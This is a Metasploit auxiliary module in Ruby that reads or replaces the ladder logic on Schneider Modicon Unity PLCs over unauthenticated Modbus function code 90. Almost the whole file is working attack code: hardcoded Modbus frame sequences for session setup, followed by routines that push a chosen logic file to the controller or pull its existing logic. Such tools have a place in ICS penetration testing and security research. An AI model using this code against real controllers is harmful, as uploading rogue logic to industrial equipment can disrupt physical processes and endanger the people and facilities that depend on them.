312 lines
11 KiB
Ruby
312 lines
11 KiB
Ruby
##
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
include Rex::Socket::Tcp
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Schneider Modicon Ladder Logic Upload/Download',
|
|
'Description' => %q{
|
|
The Schneider Modicon with Unity series of PLCs use Modbus function
|
|
code 90 (0x5a) to send and receive ladder logic. The protocol is
|
|
unauthenticated, and allows a rogue host to retrieve the existing
|
|
logic and to upload new logic.
|
|
|
|
Two modes are supported: "SEND" and "RECV," which behave as one might
|
|
expect -- use 'set mode ACTIONAME' to use either mode of operation.
|
|
|
|
In either mode, FILENAME must be set to a valid path to an existing
|
|
file (for SENDing) or a new file (for RECVing), and the directory must
|
|
already exist. The default, 'modicon_ladder.apx' is a blank
|
|
ladder logic file which can be used for testing.
|
|
|
|
This module is based on the original 'modiconstux.rb' Basecamp module from
|
|
DigitalBond.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
|
|
'todb' # Metasploit fixups
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
|
|
],
|
|
'DisclosureDate' => 'Apr 5 2012'
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('FILENAME',
|
|
[
|
|
true,
|
|
"The file to send or receive",
|
|
File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx")
|
|
]),
|
|
OptEnum.new("MODE", [true, 'File transfer operation', "SEND",
|
|
[
|
|
"SEND",
|
|
"RECV"
|
|
]
|
|
]),
|
|
Opt::RPORT(502)
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def run
|
|
unless valid_filename?
|
|
print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}"
|
|
return nil
|
|
end
|
|
@modbuscounter = 0x0000 # used for modbus frames
|
|
connect
|
|
init
|
|
case datastore['MODE']
|
|
when "SEND"
|
|
writefile
|
|
when "RECV"
|
|
readfile
|
|
end
|
|
end
|
|
|
|
def valid_filename?
|
|
if datastore['MODE'] == "SEND"
|
|
File.readable? datastore['FILENAME']
|
|
else
|
|
File.writable?(File.split(datastore['FILENAME'])[0].to_s)
|
|
end
|
|
end
|
|
|
|
# this is used for building a Modbus frame
|
|
# just prepends the payload with a modbus header
|
|
def makeframe(packetdata)
|
|
if packetdata.size > 255
|
|
print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}")
|
|
return
|
|
end
|
|
payload = ""
|
|
payload += [@modbuscounter].pack("n")
|
|
payload += "\x00\x00\x00" #dunno what these are
|
|
payload += [packetdata.size].pack("c") # size byte
|
|
payload += packetdata
|
|
end
|
|
|
|
# a wrapper just to be sure we increment the counter
|
|
def sendframe(payload)
|
|
sock.put(payload)
|
|
@modbuscounter += 1
|
|
# TODO: Fix with sock.timed_read -- Should make it faster, just need a test.
|
|
r = sock.recv(65535, 0.1)
|
|
return r
|
|
end
|
|
|
|
# This function sends some initialization requests
|
|
# required for priming the Quantum
|
|
def init
|
|
payload = "\x00\x5a\x00\x02"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x01\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x03\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x03\x04"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x04"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x01\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x0a\x00"
|
|
(0..0xf9).each { |x| payload += [x].pack("c") }
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x04"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x04"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
|
|
payload += "USER-714E74F21B" # Yep, really
|
|
#payload += "META-SPLOITMETA"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x04"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x12"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x04"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x12"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x04"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x02"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x04"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
|
|
sendframe(makeframe(payload))
|
|
end
|
|
|
|
# Write the contents of local file filename to the target's filenumber
|
|
# blank logic files will be available on the Digital Bond website
|
|
def writefile
|
|
print_status "#{rhost}:#{rport} - MODBUS - Sending write request"
|
|
blocksize = 244 # bytes per block in file transfer
|
|
buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read }
|
|
fullblocks = buf.length / blocksize
|
|
if fullblocks > 255
|
|
print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.")
|
|
return
|
|
end
|
|
lastblocksize = buf.length - (blocksize*fullblocks)
|
|
fileblocks = fullblocks
|
|
if lastblocksize != 0
|
|
fileblocks += 1
|
|
end
|
|
filetype = buf[0..2]
|
|
if filetype == "APX"
|
|
filenum = "\x01"
|
|
elsif filetype == "APB"
|
|
filenum = "\x10"
|
|
end
|
|
payload = "\x00\x5a\x00\x03\x01"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x02"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x04"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x02"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x04"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x00\x02"
|
|
sendframe(makeframe(payload))
|
|
payload = "\x00\x5a\x01\x30\x00"
|
|
payload += filenum
|
|
response = sendframe(makeframe(payload))
|
|
if response[8..9] == "\x01\xfe"
|
|
print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...")
|
|
else
|
|
print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.")
|
|
return
|
|
end
|
|
payload = "\x00\x5a\x01\x04"
|
|
sendframe(makeframe(payload))
|
|
block = 1
|
|
block2status = 0 # block 2 must always be sent twice
|
|
while block <= fullblocks
|
|
payload = "\x00\x5a\x01\x31\x00"
|
|
payload += filenum
|
|
payload += [block].pack("c")
|
|
payload += "\x00\xf4\x00"
|
|
payload += buf[((block - 1) * 244)..((block * 244) - 1)]
|
|
res = sendframe(makeframe(payload))
|
|
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
|
|
if res[8..9] != "\x01\xfe"
|
|
print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}")
|
|
return
|
|
end
|
|
# redo this iteration of the loop if we're on block 2
|
|
if block2status == 0 and block == 2
|
|
print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time")
|
|
block2status = 1
|
|
redo
|
|
end
|
|
block += 1
|
|
end
|
|
if lastblocksize > 0
|
|
payload = "\x00\x5a\x01\x31\x00"
|
|
payload += filenum
|
|
payload += [block].pack("c")
|
|
payload += "\x00" + [lastblocksize].pack("c") + "\x00"
|
|
payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)]
|
|
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}"
|
|
res = sendframe(makeframe(payload))
|
|
if res[8..9] != "\x01\xfe"
|
|
print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block")
|
|
return
|
|
end
|
|
end
|
|
vprint_status "#{rhost}:#{rport} - MODBUS - Closing file"
|
|
payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00"
|
|
sendframe(makeframe(payload))
|
|
end
|
|
|
|
# Only reading the STL file is supported at the moment :(
|
|
def readfile
|
|
print_status "#{rhost}:#{rport} - MODBUS - Sending read request"
|
|
file = File.open(datastore['FILENAME'], 'wb')
|
|
payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00"
|
|
response = sendframe(makeframe(payload))
|
|
print_status("#{rhost}:#{rport} - MODBUS - Retrieving file")
|
|
block = 1
|
|
filedata = ""
|
|
finished = false
|
|
while !finished
|
|
payload = "\x00\x5a\x01\x34\x00\x01"
|
|
payload += [block].pack("c")
|
|
payload += "\x00"
|
|
response = sendframe(makeframe(payload))
|
|
filedata += response[0xe..-1]
|
|
vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}"
|
|
if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof?
|
|
finished = true
|
|
else
|
|
block += 1
|
|
end
|
|
end
|
|
print_status("#{rhost}:#{rport} - MODBUS - Closing file")
|
|
payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00"
|
|
sendframe(makeframe(payload))
|
|
file.print filedata
|
|
file.close
|
|
end
|
|
|
|
def cleanup
|
|
disconnect rescue nil
|
|
end
|
|
|
|
end
|